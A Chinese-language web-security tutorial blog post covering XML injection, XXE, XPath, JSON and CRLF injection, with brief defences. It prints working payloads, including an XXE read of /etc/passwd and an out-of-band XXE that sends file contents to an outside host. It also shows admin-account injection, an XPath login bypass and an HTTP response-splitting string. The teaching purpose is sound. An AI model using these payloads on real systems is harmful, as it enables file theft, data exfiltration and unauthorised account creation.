零、前言
最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。
一、XML注入:
1、本质:
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
2、举例说明:
1 """ 2 原始组织数据如下: 3 <USER role="guest"> 4 <name>user1</name> 5 <password>uesr1</password> 6 <email>user1@test.com</email> 7 </USER> 8 用户本应提交的数据是user1 , user1 ,user1@test.com 9 如果用户提交的数据是 10 POST下 11 name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com 12 就会导致生成一个新的管理员账户attack 13 """
1 /* 2 (1)有回显,直接读取文件 3 */ 4 <?php 5 $xml=$GET['XML']; 6 $data = simplexml_load_string($xml); 7 print_r($data); 8 > 9 /* 10 攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root> 11 */ 12 /* 13 (2)引用远程server上的XML文件 读取文件 14 */ 15 /*#1.xml: 16 <!ENTITY % a SYSTEM "file:///etc/passwd"> 17 <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c 18 #payload 19 <?xml version="1.0" encoding="utf-8"> 20 <!DOCTYPE root [ 21 <!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml"> 22 %remote;]> 23 */
1 <!--原始XML为:--> 2 <?xml version="1.0" encoding="UTF-8"?> 3 <adminuser> 4 <admin id="1"> 5 <name>admin</name> 6 <password>admin</passsword> 7 </admin> 8 </adminuser> 9 <!-- 10 例如攻击者可以修改password部分,则可以如下构造: 11 输入: 12 <admin></password></admin><admin id=2><name>test</name><password>test</password></admin> 13 那么XML文件则会变成: 14 --> 15 <?xml version="1.0" encoding="UTF-8"?> 16 <adminuser> 17 <admin id="1"> 18 <name>admin</name> 19 <password>admin</passsword> 20 </admin> 21 <admin id="2"> 22 <name>test</name> 23 <password>test</passsword> 24 </admin> 25 </adminuser> 26 <!-- 27 增加了一个管理员权限账号。 28 -->
3、危害:
#常见攻击手段包括:
#读取本地文件(可能包含敏感信息 /etc/shadow)
#内存侵犯
#任意代码执行
#拒绝服务
4、防御:
#对有改变XML结构的特殊输入进行过滤或者编码
#filter list = ["&","<",">","'".'"',"/"]
#在XML保存和展示之前都需要
二、Xpath注入:
1、本质:
#Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。
2、举例:
一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
例如:
//USER [username/text()="admin" and password/text()="123456"]
注入就是在引号内内容着手构造:
例如password=> 111" or "2"="2
3、防御:
防御很简单,过滤特殊输入字符即可。
三、Json注入:
1、本质:
@json也是传输数据的一种格式,增加一个用户的json结构如下:
{"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456
2、防御:
过滤关键字即可。
四、CRLF注入也叫HTTP响应截断:
1、本质:
也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。
2、举例:假设数据部分是xss payload则会中招啊
1 """ 2 (1)REQUEST-METHOD : GET 3 URL : http://a.b.c.d/index.html?language=Chinense 4 RESPONSE : 5 HTTP/1.1 302 Moved Temporarily GMT 6 Date: ******** 7 Location:http://a.b.c.d/zhcn.html 8 Server:****** 9 ****** 10 (2)REQUEST-METHOD : GET 11 URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent- Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e 12 实际上就是: 13 Chinese 14 Content-Length:0 15 16 HTTP/1.1 200 OK 17 Content-Type:text/html 18 Content-Length:24 19 20 <html>I'm hacker!</html> 21 22 RESPONSE : 23 HTTP/1.1 302 Moved Temporarily GMT 24 Date: ******** 25 Location:http://a.b.c.d/zhcn.html 26 Content-Length:0 27 28 HTTP/1.1 200 OK 29 Content-Type:text/html 30 Content-Length:24 31 32 <html>I'm hacker!</html> 33 Server:****** 34 ****** 35 36 37 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码. 38 等 39 40 当然可以不加新的http响应头,直接注入 (CRLF)和payload 41 42 常见的容易出问题的PHP函数 43 header() 44 setcookie() 45 session_id() 46 setrawcookie() 47 48 位置: 49 location -> 重定向到恶意地址 50 set-cookie -> 把自己数据写入cookie 51 """
3、防御:
限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出